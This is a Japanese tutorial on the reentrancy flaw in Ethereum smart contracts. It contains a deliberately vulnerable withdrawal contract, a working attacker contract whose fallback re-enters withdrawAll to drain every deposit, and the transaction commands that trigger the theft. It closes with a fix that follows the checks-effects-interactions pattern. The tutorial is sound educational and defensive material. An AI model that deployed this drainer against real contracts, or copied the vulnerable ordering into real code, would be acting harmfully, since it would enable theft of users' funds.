イーサリアムのコントラクトコードにおけるReentrancy問題

##概要

コントラクトコードの書き方を間違えると、イーサは第三者に簡単に盗めてしまう。
なので、そのあたりは気をつけましょうね、というお話。

気をつけないことは他にも色々あるけれど、一気に書くとごちゃつくので
タイトル通り、Reentrancy問題部分だけにフォーカスする。

## 必要な前提知識

- イーサリアムには２種類のアカウントがある
- 一つは、EOA(Externally Owned Account)でこれは個人のアカウントだと考えれば良い
- もう一つは、CA(Contract Account)でコントラクトコードがアカウントを持つと考えれば良い
- どちらのアカウントもアドレス（と状態）を持つ
- CAもEOAと同様にイーサの送金を受け付け、イーサを保持できる<br/>一時的な口座として利用できるイメージ。
- コントラクトコードにはFallbackという名前・引数無しの特殊な関数を一つだけ作ることができ<br/>これは「そのCA宛にイーサが送金されたタイミング」で自動的に呼び出される。

これだけ分かっていれば十分。

## 今回の構成

| コントラクト名       |       説明 |
|:-----------------|:------------------|
| DameContract     |入金と入金額の全額引出が可能なコントラクト。コードに脆弱性あり| 
| ItadakiContract  |DameContractの脆弱性をついてお金を盗む悪意のあるコントラクト|

なお、DameContractには複数のEOAから既にイーサが入金されている状態とする。
例えば100アカウントで1万イーサくらい入っている、と。

### DameContractのコード（脆弱性あり）

```javascript:DameContract

// 残高管理表
mapping(address => uint) public userBalance;

/// イーサの預け入れを行う
function addBalance() public payable { userBalance[msg.sender] += msg.value; }

/// イーサの全額引き出しを行う
function withdrawAll() public payable returns(bool){
  // １．残高を確認
  if(userBalance[msg.sender] == 0) { return false; }
  // ２．全額引き出しを行う
  //    残高をもとに呼び出し元のアドレスにイーサを送金している
  if(!(msg.sender.call.value(userBalance[msg.sender])())){ throw; }
  // ３．残高をゼロに更新する
  userBalance[msg.sender] = 0;
}
```

### ItadakiContractのコード（窃盗用）

```javascript:ItadakiContract

// DameContractのアドレス格納
address public target;

/// コンストラクタ
/// コントラクトデプロイ時にDameContractアドレスが設定される
function ItadakiContract(address _target) { target = _target; }

/// DameContractにイーサを送金する関数
function sendToDameContract() public {
  if(!target.call.value(1 ether)(bytes4(sha3("addBalance()")))){ throw; }
}

/// DameContractから残高を引き出す関数
function steal() public {
  if(!target.call.value(0)(bytes4(sha3("withdrawAll()")))){ throw; }
}

/// FallBack関数
function() payable {
  // DameContractのwithdrawAllをCall
  if(!msg.sender.call.value(0)(bytes4(sha3("withdrawAll()")))){
    // 処理はなんでもいい（ログとか）
  }
}

```

## イーサを盗む手順

すごくシンプル。

まず、ItadakiContractのsendToDameContractを呼び出して１イーサを入金する。
要は {address:ItadakiContractアドレス, Value：1 ether}
という残高情報をuserBalanceに入れてDameContractのwithrawAll内の
「１．残高チェック」に引っかからないようにだけしておくということ。

```shell:ItadakiContractからDameContractへ１イーサ送金
  ItadakiContract.sendToDameContract
    .sendTransaction({from:eth.account[攻撃者EOAアドレス], gas: 20000000)
```

次に、DameContractに預け入れたイーサの引き出しを行う。
これも、ItadakiContractを経由してDameContractのwithdrawAllを呼び出す。

```shell:ItadakiContract経由でDameContractに預けたイーサを引き出す
  ItadakiContract.steal.sendTransaction({from:eth.account[自分のアカウント], gas: 20000000)
```

**これだけで、他のEOAから預け入れた分を含むDameContractの全イーサを引き出すことができる。**

## いったい何が起こっているのか？

０．（IdatakiContractからDameContractに１イーサ送金している）
１．ItadakiContractのsteal関数をCallする
２．steal関数はDameContractのwithdrawAllを呼び出す

３．withdrawAll関数内で「１．残高チェック」は成功する（１イーサあるので）
４．withdrawAll関数内で「２．全額引き出しを行う」が実施され、IdatakiContractに１イーサが送金される
５．冒頭の必要な前提知識にあるとおり、このタイミングでItadakiContractのFallBack関数が自動Callされる
６．IdatakiContractのFallback関数内で再度、DameContractのwithdrawAllがCallされる

**７．３に戻る。以下、DameContractのイーサが全て引き出されるか、Gasが尽きるまで繰り返し**


何故このようなことが起きるのか？
これはもう単純にイーサを送金してから残高をゼロクリアしてるから。

１．残高を確認
⇩
２．全額引き出しを行う
⇩
**ここの間隙を突かれてしまった**
⇩
３．残高をゼロに更新する

## 対策について

分かりきったことだが

１．残高を確認
２．残高をゼロに更新する（残高は退避しておく）
３．（退避した残高分の）引き出しを行う

にするだけで防ぐことができる。
**これを Condition - Effects - interaction パターンと呼ぶ。**

- Condition
 - 関数を実行できる条件を確認する（条件チェック） 
- Effects
 - ステートを更新する（残高情報など） 
- Interaction
 - 他のコントラクトへメッセージを送るのは最後（送金など） 

### 修正後のコード

```javascript:KaizenContract

// 残高管理表
mapping(address => uint) public userBalance;

/// イーサの預け入れを行う
function addBalance() public payable { userBalance[msg.sender] += msg.value; }

/// イーサの全額引き出しを行う
function withdrawAll() public payable returns(bool){
  // １．残高を確認
  if(userBalance[msg.sender] == 0) { return false; }
  // ２．送金額を退避して残高をゼロに更新する
  uint sendBalance = userBalance[msg.sender];
  userBalance[msg.sender] = 0;
  // ３．全額引き出しを行う
  //    残高をもとに呼び出し元のアドレスにイーサを送金している
  if(!(msg.sender.call.value(sendBalance)())){ throw; }
}
```